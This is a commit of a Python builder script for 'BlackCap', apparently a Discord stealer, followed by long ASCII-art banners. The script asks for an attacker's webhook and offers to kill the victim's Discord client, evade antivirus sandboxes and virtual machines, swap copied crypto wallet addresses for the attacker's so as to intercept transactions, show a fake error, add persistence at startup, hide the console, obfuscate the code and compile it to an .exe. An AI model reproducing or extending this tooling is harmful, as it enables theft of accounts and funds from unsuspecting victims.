Add files via upload
After Width: | Height: | Size: 6.4 KiB |
After Width: | Height: | Size: 139 KiB |
After Width: | Height: | Size: 13 KiB |
After Width: | Height: | Size: 24 KiB |
After Width: | Height: | Size: 13 KiB |
After Width: | Height: | Size: 7.0 KiB |
After Width: | Height: | Size: 5.4 KiB |
After Width: | Height: | Size: 1.1 KiB |
After Width: | Height: | Size: 5.1 KiB |
|
@ -0,0 +1,678 @@
|
|||
import os
|
||||
import random
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
from json import load
|
||||
from urllib.request import urlopen
|
||||
|
||||
|
||||
import requests
|
||||
from colorama import Fore, Style, init
|
||||
|
||||
class Builder:
|
||||
def __init__(self) -> None:
|
||||
self.loading()
|
||||
|
||||
if not self.check():
|
||||
exit()
|
||||
self.bannergui()
|
||||
self.bannergui()
|
||||
self.webhook = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Enter your webhook: ')
|
||||
if not self.check_webhook(self.webhook):
|
||||
print(f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} {Fore.RED}Invalid Webhook!{Fore.RESET}")
|
||||
str(input(f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Press anything to exit..."))
|
||||
sys.exit()
|
||||
|
||||
self.filename = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Enter your custom output .exe name: ')
|
||||
|
||||
self.killprocess = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Kill victim Discord Client? (yes/no): ')
|
||||
if self.killprocess.lower() == 'y' or self.killprocess.lower() == 'yes':
|
||||
self.killprocess = True
|
||||
else:
|
||||
self.killprocess = False
|
||||
|
||||
self.dbugkiller = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Enable Anti-Debug (Recommand yes, Kill Virus-Total Machines / Virtual Machines or other)? (yes/no): ')
|
||||
if self.dbugkiller.lower() == 'y' or self.dbugkiller.lower() == 'yes':
|
||||
self.dbugkiller = True
|
||||
else:
|
||||
self.dbugkiller = False
|
||||
|
||||
|
||||
self.ping = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Ping on new victim? (yes/no): ')
|
||||
if self.ping.lower() == 'y':
|
||||
self.ping = "yes"
|
||||
if self.ping.lower() == 'yes':
|
||||
self.ping = "yes"
|
||||
self.pingtype = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Ping type? (here/everyone): ').lower()
|
||||
if self.pingtype not in ["here", "everyone"]:
|
||||
# default to @here if invalid ping type.
|
||||
self.pingtype == "here"
|
||||
else:
|
||||
self.ping = "no"
|
||||
self.pingtype = "none"
|
||||
|
||||
|
||||
#(the victim will not realize it and you will intercept each of his transactions)
|
||||
self.address_replacer = input(f'{Fore.CYAN}[{Fore.RESET}NEW{Fore.CYAN}]{Fore.RESET} Replace all copied crypto address wallet by your address ? (yes/no): ')
|
||||
if self.address_replacer.lower() == 'yes':
|
||||
self.address_replacer = "yes"
|
||||
self.btc_address = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Your Bitcoin Address (let empty if you do not have): ').lower()
|
||||
if not self.btc_address.lower():
|
||||
self.btc_address = 'none'
|
||||
|
||||
self.eth_address = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Your Ethereum Address (let empty if you do not have):').lower()
|
||||
if not self.eth_address.lower():
|
||||
self.eth_address = '0x4c305D9d4CdF740FF4f2166ecF65c1DF73e93472'
|
||||
|
||||
self.xchain_address = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Your X-Chain Address (let empty if you do not have):').lower()
|
||||
if not self.xchain_address.lower():
|
||||
self.xchain_address = 'none'
|
||||
|
||||
self.pchain_address = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Your P-Chain Address (let empty if you do not have):').lower()
|
||||
if not self.pchain_address.lower():
|
||||
self.pchain_address = 'none'
|
||||
|
||||
self.cchain_address = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Your C-Chain Address (let empty if you do not have):').lower()
|
||||
if not self.cchain_address.lower():
|
||||
self.cchain_address = 'none'
|
||||
|
||||
self.monero_address = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Your Monero Address (let empty if you do not have):').lower()
|
||||
if not self.monero_address.lower():
|
||||
self.monero_address = 'none'
|
||||
|
||||
self.ada_address = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Your Ada/Cardano Address (let empty if you do not have):').lower()
|
||||
if not self.ada_address.lower():
|
||||
self.ada_address = 'none'
|
||||
|
||||
self.dash_address = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Your Dash Address (let empty if you do not have):').lower()
|
||||
if not self.dash_address.lower():
|
||||
self.dash_address = 'none'
|
||||
|
||||
else:
|
||||
self.address_replacer = "no"
|
||||
self.btc_address = "none"
|
||||
self.eth_address = "none"
|
||||
self.xchain_address = "none"
|
||||
self.pchain_address = "none"
|
||||
self.cchain_address = "none"
|
||||
self.monero_address = "none"
|
||||
self.dash_address = "none"
|
||||
self.ada_address = "none"
|
||||
|
||||
|
||||
self.error = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Add a fake error? (yes/no): ')
|
||||
if self.error.lower() == 'y' or self.error.lower() == 'yes':
|
||||
self.error = "yes"
|
||||
else:
|
||||
self.error = "no"
|
||||
|
||||
self.startup = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Add file to startup? (yes/no): ')
|
||||
if self.startup.lower() == 'y' or self.startup.lower() == 'yes':
|
||||
self.startup = "yes"
|
||||
else:
|
||||
self.startup = "no"
|
||||
|
||||
|
||||
self.hider = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Hide BlackCap console for victim? (yes/no): ')
|
||||
if self.hider.lower() == 'yes' or self.hider.lower() == 'y':
|
||||
self.hider = "yes"
|
||||
else:
|
||||
self.hider = False
|
||||
|
||||
self.obfuscation = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Do you want to obfuscate the BlackCap (recommand yes)? (yes/no): ')
|
||||
|
||||
self.compy = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Do you want to compile the file to a .exe? (yes/no): ')
|
||||
|
||||
if self.compy == 'yes':
|
||||
self.icon = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Do you want to add an icon to the .exe (yes/no): ')
|
||||
if self.icon == 'yes':
|
||||
self.icon_exe()
|
||||
else:
|
||||
pass
|
||||
else:
|
||||
pass
|
||||
|
||||
self.mk_file(self.filename, self.webhook)
|
||||
|
||||
print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} File successfully created!{Fore.RESET}')
|
||||
|
||||
self.cleanup(self.filename)
|
||||
self.renamefile(self.filename)
|
||||
|
||||
run = input(
|
||||
f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Do you want to test the file? [yes/no]: ')
|
||||
if run.lower() == 'yes' or run.lower() == 'y':
|
||||
self.run(self.filename)
|
||||
|
||||
input(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Press enter to exit...{Fore.RESET}')
|
||||
sys.exit()
|
||||
|
||||
def bannergui(self):
|
||||
p = Fore.GREEN + Style.DIM
|
||||
img = fr"""{p}
|
||||
|
||||
|
||||
██████Γ ██████▌
|
||||
╓▄▄▄██████▄▄▄╖ ▄▄▄███████▄▄▄
|
||||
▐████████████▌ █████████████
|
||||
▐████████████████ ▐████████████████
|
||||
▄▄▄█████████████████▄▄▄█████████████████▄▄▄
|
||||
▓██████████████████████████████████████████▌
|
||||
▓█████████████████████████████████████████████▌
|
||||
▓██████▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀████████████████▌
|
||||
▓██████░░░░░░░░░░░░░░░░░░░░░░░████████████████▌
|
||||
██████▌░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█████████▌
|
||||
██████▌░░░▄▄▄░░░░░░░░░░░░░░░░░▄▄▄░░░░░░░██████████,,,
|
||||
██████▌░░░███░░░░░░░░░░░░░░░░░███░░░░░░░█████████████
|
||||
███░░░░░░░███░░░░░░░░░░░░░░░░░███░░░░░░░░░░██████████
|
||||
,,,,,,▄███░░░░░░░▀▀▀░░░░▄▄▄▄▄▄▄▄▄░░░░▀▀▀░░░░░░░░░░██████████,,,
|
||||
▓█████████░░░░░░░░░░░░░▐█████████▌░░░░░░░░░░░░░░░░█████████████▌
|
||||
███░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██████████
|
||||
,,,▄███░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██████████
|
||||
▐██████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██████████
|
||||
███▌ ██████▌░░░░░░░░░░░░░░░░░░░░░░░░░░▐█████████▌ ███Γ
|
||||
▀▀▀L ▀▀▀▀▀▀▀╜╜╜░░░░░░░░░░░░░░░░░░░░░░░▓███▀▀▀▀▀▀L ▀▀▀L
|
||||
▓█████████████████████████▌
|
||||
▓█████████████████████████████
|
||||
,,,██████████████████████████████,,,
|
||||
████████████████████████████████████▌
|
||||
████████████████████████████████████▌
|
||||
████████████████████████████████████▌,,
|
||||
███████████████████████████████████████▌
|
||||
██████▌``▐█████████████████████████████▌
|
||||
██████▌ █████████████████████████████▌
|
||||
▓██▌ █████████▌ ▓█████▌ ▓█████▌
|
||||
``` ```███▌``` ▓██▌``` ```▀██▌
|
||||
███Γ ███Γ ▐██▌
|
||||
"""
|
||||
img1 = fr"""{p}
|
||||
|
||||
|
||||
▄▄▄▄▄▄ ▄▄▄▄▄▄╖
|
||||
██████▌ ▓█████▌
|
||||
▐█████████████ █████████████
|
||||
▐█████████████▄▄▄ ,▄▄▄█████████████
|
||||
▐████████████████ ▐████████████████
|
||||
███████████████████████████████████████████Γ
|
||||
▓██████████████████████████████████████████▄╓╓,
|
||||
▓█████████████████████████████████████████████▌
|
||||
▓██████░░░░░░░░░░░░░░░░░░░░░░░████████████████▌
|
||||
,,,████▀▀▀░░░░░░░░░░░░░░░░░░░░░░░▀▀▀▀▀▀▀█████████▌
|
||||
██████▌░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█████████▌
|
||||
██████▌░░░███░░░░░░░░░░░░░░░░░███░░░░░░░█████████████
|
||||
███▀▀▀░░░░███░░░░░░░░░░░░░░░░░███░░░░░░░▀▀▀██████████
|
||||
███░░░░░░░███░░░░░░░░░░░░░░░░░███░░░░░░░░░░██████████
|
||||
██████████░░░░░░░░░░░░░▐█████████▌░░░░░░░░░░░░░░░░█████████████Γ
|
||||
▀▀▀▀▀▀▀███░░░░░░░░░░░░░▐▀▀▀▀▀▀▀▀▀░░░░░░░░░░░░░░░░░██████████▀▀▀L
|
||||
███░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██████████
|
||||
▐██████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██████████
|
||||
,,,▐▀▀▀▀▀▀░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████▀▀▀▀▀▀,,,
|
||||
███▌ ▓██████░░░░░░░░░░░░░░░░░░░░░░░░░░▐█████████▌ ███▌
|
||||
``` ``````]█████████████████████████████████-`` ```
|
||||
,,,J█████████████████████████████████,,,
|
||||
▐███████████████████████████████████████▌
|
||||
▐████████████████████████████████████████▄▄▄
|
||||
▐███████████████████████████████████████████,,,
|
||||
▐██████ ▐████████████████████████████████████
|
||||
```▐███ ▐████████████████████████████████████
|
||||
███ ▐████████████████████████████████████
|
||||
▐██████ ▐████████████████ ▐██████
|
||||
```▀███ ▐██████"``▀██████ ```````
|
||||
███ ▐██████ ▐██████
|
||||
"""
|
||||
img2 = fr"""{p}
|
||||
|
||||
|
||||
▄▄▄▄▄▄╖ ,▄▄▄▄▄▄
|
||||
▓█████▌ ▐██████
|
||||
█████████████ █████████████Γ
|
||||
█████████████▄╓╓ ╓╓╓█████████████▌
|
||||
████████████████▌ ████████████████▌
|
||||
▐██████████████████████████████████████████▌
|
||||
▐███████████████████████████████████████████,,,
|
||||
▐██████████████████████████████████████████████
|
||||
▐██████░░░░░░░░░░░░░░░░░░░░░░░▓████████████████
|
||||
,,,▐███▀▀▀░░░░░░░░░░░░░░░░░░░░░░░▐▀▀▀▀▀▀██████████
|
||||
▓██████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██████████
|
||||
▓██████░░░███▌░░░░░░░░░░░░░░░░███▌░░░░░░█████████████Γ
|
||||
,,,, ▓███▀▀▀░░░███▌░░░░░░░░░░░░░░░░███▌░░░░░░▀▀▀██████████▌,,,
|
||||
▐██▌ ▓██▌░░░░░░███▌░░░░░░░░░░░░░░░░███▌░░░░░░░░░▐████████████▌
|
||||
]██████▌░░░░░░░░░░░░░█████████▌░░░░░░░░░░░░░░░░▐█████████▌
|
||||
▀▀▀███▌░░░░░░░░░░░░░█████████▀░░░░░░░░░░░░░░░░▐█████████▌
|
||||
▓██▌░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▐█████████▌
|
||||
$█████████▌░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▐████████████▌
|
||||
▐█████████▌░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓████████████▀
|
||||
▐██████░░░░░░░░░░░░░░░░░░░░░░░░░░░█████████▌
|
||||
▐███████████████████████████████████████████▄▄▄
|
||||
▐██████████████████████████████████████████████,,,
|
||||
▐█████████████████████████████████████████████████▌
|
||||
▐█████████████████████████████████████████████████▌
|
||||
▐█████████████████████████████████████████████████▌
|
||||
████████████████████████████████████▌ ██████▌
|
||||
``````▀██████████████████████████"`` ``````
|
||||
▐██████████████████████████
|
||||
"""
|
||||
img3 = fr"""{p}
|
||||
|
||||
|
||||
██████Γ ██████▌
|
||||
╓▄▄▄██████▄▄▄╖ ▄▄▄███████▄▄▄
|
||||
▐████████████▌ █████████████
|
||||
▐████████████████ ▐████████████████
|
||||
▄▄▄█████████████████▄▄▄█████████████████▄▄▄
|
||||
▓██████████████████████████████████████████▌
|
||||
▓█████████████████████████████████████████████▌
|
||||
▓██████▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀████████████████▌
|
||||
▓██████░░░░░░░░░░░░░░░░░░░░░░░████████████████▌
|
||||
██████▌░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█████████▌
|
||||
██████▌░░░▄▄▄░░░░░░░░░░░░░░░░░▄▄▄░░░░░░░██████████,,,
|
||||
██████▌░░░███░░░░░░░░░░░░░░░░░███░░░░░░░█████████████
|
||||
███░░░░░░░███░░░░░░░░░░░░░░░░░███░░░░░░░░░░██████████
|
||||
,,,▄███░░░░░░░▀▀▀░░░░▄▄▄▄▄▄▄▄▄░░░░▀▀▀░░░░░░░░░░██████████
|
||||
▐██████░░░░░░░░░░░░░▐█████████▌░░░░░░░░░░░░░░░░██████████
|
||||
███▌ ███░░░░░░░░░░░░░░░░░██████▌░░░░░░░░░░░░░░░░█████████████Γ
|
||||
▀▀▀L ███░░░░░░░░░░░░░░░░░▀▀▀▀▀▀░░░░░░░░░░░░░░░░░██████████▀▀▀L
|
||||
███░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██████████
|
||||
▐██▌ ██████▌░░░░░░░░░░░░░░░░░░░░░░░░░░▐█████████▌ ]███
|
||||
,,,▐▀▀▀ ▀▀▀▀▀▀▀╜╜╜╜╜╜╜╜╜▒░░░░░░░░░░░░░░░░▓███▀▀▀▀▀▀L ▀▀▀,,,
|
||||
███▌ ███████████████████▌ ███▌
|
||||
``` $██████████████████████████ ```
|
||||
▐██████████████████████████,,,
|
||||
▐█████████████████████████████▌
|
||||
▐█████████████████████████████▌
|
||||
▐█████████████████████████████▌
|
||||
██████████████████████████▌
|
||||
███████████████████████```
|
||||
███████████████████████
|
||||
▓███████████████████
|
||||
``````▀██████████```
|
||||
█████████▌
|
||||
"""
|
||||
img4 = fr"""{p}
|
||||
|
||||
|
||||
╓▄▄▄▄▄▄ ▄▄▄▄▄▄
|
||||
▐██████ ██████▌
|
||||
█████████████Γ ▐████████████▌
|
||||
▓████████████▄▄▄╖ ▄▄▄█████████████▌
|
||||
▓███████████████▌ ▓███████████████▌
|
||||
███████████████████████████████████████████
|
||||
███████████████████████████████████████████▄▄▄
|
||||
██████████████████████████████████████████████▌
|
||||
██████▌░░░░░░░░░░░░░░░░░░░░░░░████████████████▌
|
||||
,╓╓▄███▀▀▀░░░░░░░░░░░░░░░░░░░░░░░░▀▀▀▀▀▀██████████▌
|
||||
▐██████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▐█████████▌
|
||||
▐██████░░░▐███░░░░░░░░░░░░░░░░▐███░░░░░░▐████████████▌
|
||||
▐███▀▀▀░░░▐███░░░░░░░░░░░░░░░░▐███░░░░░░╚▀▀▀█████████▌
|
||||
▐███░░░░░░▐███░░░░░░░░░░░░░░░░▐███░░░░░░░░░░█████████▌
|
||||
███████░░░░░░░░░░░░░██████████░░░░░░░░░░░░░░░░░█████████▌
|
||||
,,,▀▀▀████░░░░░░░░░░░░░▀▀▀███████░░░░░░░░░░░░░░░░░██████████,,,
|
||||
███ ▐███░░░░░░░░░░░░░░░░▐██████░░░░░░░░░░░░░░░░░█████████████
|
||||
▐███░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██████████
|
||||
,,,Å▀▀▀░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▄███▀▀▀███▌
|
||||
███▌ ██████▌░░░░░░░░░░░░░░░░░░░░░░░░░░██████████ ▐██▌
|
||||
███ ▐████████████████ ]███
|
||||
▀▀▀ ,,,▐████████████████,,, ▀▀▀
|
||||
▓██████████████████████▌
|
||||
▓█████████████████████████▌
|
||||
▓█████████████████████████▌
|
||||
▓█████████████████████████▌
|
||||
▓█████████████████████████▌
|
||||
▓█████████████████████████▌
|
||||
▓█████████████████████████▌
|
||||
```▀██████████████████████▌
|
||||
▐██████████████████████▌
|
||||
████████████████▌
|
||||
```██████████"``
|
||||
██████████
|
||||
"""
|
||||
img5 = fr"""{p}
|
||||
|
||||
|
||||
╓▄▄▄▄▄▄ ▄▄▄▄▄▄
|
||||
▐██████ ██████▌
|
||||
█████████████Γ ▐████████████▌
|
||||
▓████████████▄▄▄╖ ▄▄▄█████████████▌
|
||||
▓███████████████▌ ▓███████████████▌
|
||||
███████████████████████████████████████████
|
||||
███████████████████████████████████████████▄▄▄
|
||||
██████████████████████████████████████████████▌
|
||||
██████▌░░░░░░░░░░░░░░░░░░░░░░░████████████████▌
|
||||
,╓╓▄███▀▀▀░░░░░░░░░░░░░░░░░░░░░░░░▀▀▀▀▀▀██████████▌
|
||||
▐██████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▐█████████▌
|
||||
▐██████░░░▐███░░░░░░░░░░░░░░░░▐███░░░░░░▐████████████▌
|
||||
▐███▀▀▀░░░▐███░░░░░░░░░░░░░░░░▐███░░░░░░╚▀▀▀█████████▌
|
||||
▐███░░░░░░▐███░░░░░░░░░░░░░░░░▐███░░░░░░░░░░█████████▌
|
||||
██████████░░░░░░░░░░░░░██████████░░░░░░░░░░░░░░░░░█████████████
|
||||
▀▀▀▀▀▀████░░░░░░░░░░░░░▀▀▀███████░░░░░░░░░░░░░░░░░██████████▀▀▀
|
||||
▐███░░░░░░░░░░░░░░░░▐██████░░░░░░░░░░░░░░░░░█████████▌
|
||||
███████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█████████▌
|
||||
,,,▀▀▀▀▀▀▀░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▄███▀▀▀▀▀▀▀,,,
|
||||
███ ██████▌░░░░░░░░░░░░░░░░░░░░░░░░░░██████████ ███
|
||||
▐████████████████
|
||||
,,,▐████████████████,,,
|
||||
▓██████████████████████▌
|
||||
▓█████████████████████████▌
|
||||
,,,███████████████████████████,,,
|
||||
█████████████████████████████████
|
||||
▄▄██████████████████████████████████
|
||||
▐████████████████████████████████████,,,
|
||||
▐███████████████████████████████████████▌
|
||||
▐██████```▀███████████████████▌``▐██████▌
|
||||
▐██████ ▐███████████████████▌ ██████Γ
|
||||
▐██████████████████████▌
|
||||
```▀██████████```██████▌
|
||||
█████████▌ ██████▌
|
||||
"""
|
||||
img6 = fr"""{p}
|
||||
|
||||
|
||||
▄▄▄▄▄▄ ▄▄▄▄▄▄▄
|
||||
██████▌ ▓█████▌
|
||||
▐████████████▌ █████████████
|
||||
▐█████████████▄▄▄ ╓▄▄▄█████████████
|
||||
▐████████████████ ▐████████████████
|
||||
███████████████████████████████████████████Γ
|
||||
▓██████████████████████████████████████████▄▄▄╖
|
||||
▓█████████████████████████████████████████████▌
|
||||
▓██████░░░░░░░░░░░░░░░░░░░░░░░████████████████▌
|
||||
╓╓╓████▀▀▀░░░░░░░░░░░░░░░░░░░░░░░▀▀▀▀▀▀▀█████████▌
|
||||
██████▌░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█████████▌
|
||||
██████▌░░░███░░░░░░░░░░░░░░░░░███░░░░░░░█████████████
|
||||
███▀▀▀░░░░███░░░░░░░░░░░░░░░░░███░░░░░░░▀▀▀██████████
|
||||
███░░░░░░░███░░░░░░░░░░░░░░░░░███░░░░░░░░░░██████████
|
||||
██████████░░░░░░░░░░░░░▐█████████▌░░░░░░░░░░░░░░░░█████████████Γ
|
||||
▀▀▀▀▀▀▀███░░░░░░░░░░░░░▐▀▀▀▀▀▀▀▀▀░░░░░░░░░░░░░░░░░██████████▀▀▀
|
||||
███░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██████████
|
||||
▐██████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██████████
|
||||
,,,Å▀▀▀▀▀▀░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████▀▀▀▀▀▀,,,
|
||||
███▌ ▓██████░░░░░░░░░░░░░░░░░░░░░░░░░░▐█████████▌ ███▌
|
||||
████████████████▌
|
||||
,,,J████████████████▌,,,
|
||||
▐██████████████████████▌
|
||||
██████████████████████████████
|
||||
,,,██████████████████████████████,,,
|
||||
████████████████████████████████████▌
|
||||
█████████████████████████████████████▄▄▄
|
||||
███████████████████████████████████████▌
|
||||
█████████████████████████████▌ ▓█████▌
|
||||
███```▀███████████████████████▄▄▄```▀██▌
|
||||
███ ▐██████████████████████████ ▐██▌
|
||||
▐████████████████ ▐██████
|
||||
```▀███"``▀██████ ```▀███
|
||||
███ ▐██████ ███
|
||||
"""
|
||||
|
||||
os.system('mode con:cols=120 lines=45')
|
||||
print(img)
|
||||
time.sleep(0.3)
|
||||
os.system("cls")
|
||||
print(img1)
|
||||
time.sleep(0.3)
|
||||
os.system("cls")
|
||||
print(img2)
|
||||
time.sleep(0.3)
|
||||
os.system("cls")
|
||||
print(img3)
|
||||
time.sleep(0.3)
|
||||
os.system("cls")
|
||||
print(img4)
|
||||
time.sleep(0.3)
|
||||
os.system("cls")
|
||||
print(img5)
|
||||
time.sleep(0.3)
|
||||
os.system("cls")
|
||||
print(img6)
|
||||
|
||||
def loading(self):
|
||||
p = Fore.GREEN + Style.DIM
|
||||
r = Fore.RED + Style.BRIGHT
|
||||
img = fr"""{p}
|
||||
|
||||
,
|
||||
▐███████████████▓ j████████████████[
|
||||
▐███████████████▓ j████████████████L
|
||||
▐███████████████▓ j████████████████L
|
||||
╓▄▄▄▄▄▄▄▓████████████████▄▄▄▄▄╖▄╖ ,▄▄▄▄▄▄▄▄████████████████▌▄╖╖╖╖╖╖╓
|
||||
▓████████████████████████████████L ▐████████████████████████████████▌
|
||||
▓████████████████████████████████L ▐████████████████████████████████▌
|
||||
▓████████████████████████████████L ▐████████████████████████████████▌
|
||||
▓█████████████████████████████████▄▄▄▄▄▄▄m ▄▄▄▄▄▄▄▄█████████████████████████████████▌
|
||||
▓████████████████████████████████████████▌ █████████████████████████████████████████▌
|
||||
▓████████████████████████████████████████▌ █████████████████████████████████████████▌
|
||||
▓████████████████████████████████████████▌ ▓████████████████████████████████████████▌
|
||||
j███████████████████████████████████████████████████████████████████████████████████████████████████████████▓
|
||||
j███████████████████████████████████████████████████████████████████████████████████████████████████████████▓
|
||||
j███████████████████████████████████████████████████████████████████████████████████████████████████████████▓
|
||||
j███████████████████████████████████████████████████████████████████████████████████████████████████████████▓
|
||||
j████████████████████████████████████████████████████████████████████████████████████████████████████████████████████L
|
||||
j████████████████████████████████████████████████████████████████████████████████████████████████████████████████████L
|
||||
j████████████████████████████████████████████████████████████████████████████████████████████████████████████████████▌
|
||||
j████████████████████████████████████████████████████████████████████████████████████████████████████████████████████▌
|
||||
j████████████████▌░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█████████████████████████████████████████▌
|
||||
j▓███████████████▌░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█████████████████████████████████████████▌
|
||||
j▓███████████████▌░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█████████████████████████████████████████▌
|
||||
╓▄▄▄▄▄▄▄▄████████▀▀▀▀▀▀▀▀░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█████████████████████████▌
|
||||
▐████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓████████████████████████L
|
||||
▐████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓████████████████████████L
|
||||
▐████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓████████████████████████L
|
||||
▐████████████████░░░░░░░░╟███████▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░╟███████▓░░░░░░░░░░░░░░░░▓█████████████████████████▄▄▄▄▄▄▄▄
|
||||
▐████████████████░░░░░░░░▓████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓████████░░░░░░░░░░░░░░░░▓████████████████████████████████▌
|
||||
▐████████████████░░░░░░░░▓████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓████████░░░░░░░░░░░░░░░░▓████████████████████████████████▌
|
||||
▐████████████████░░░░░░░░▓████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓████████░░░░░░░░░░░░░░░░▓████████████████████████████████▌
|
||||
▐████████░░░░░░░░░░░░░░░░▓████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░╠▓██████▓░░░░░░░░░░░░░░░░░░░░░░░░j████████████████████████▌
|
||||
▐████████░░░░░░░░░░░░░░░░▓████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▓▓████▓╣░░░░░░░░░░░░░░░░░░░░░░░░░████████████████████████▌
|
||||
▐████████░░░░░░░░░░░░░░░░▓████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▓▓▓▓██▓▒░░░░░░░░░░░░░░░░░░░░░░░░░████████████████████████▌
|
||||
▐████████░░░░░░░░░░░░░░░░╟███████▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░╙▓▓▓▓▓╜░░░░░░░░░░░░░░░░░░░░░░░░░░████████████████████████▌
|
||||
j█████████████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓███████████████████████▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████████████████████████████████▓
|
||||
j█████████████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓████████████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████████████████████████████████▓
|
||||
j▓████████████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓████████████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████████████████████████████████▓
|
||||
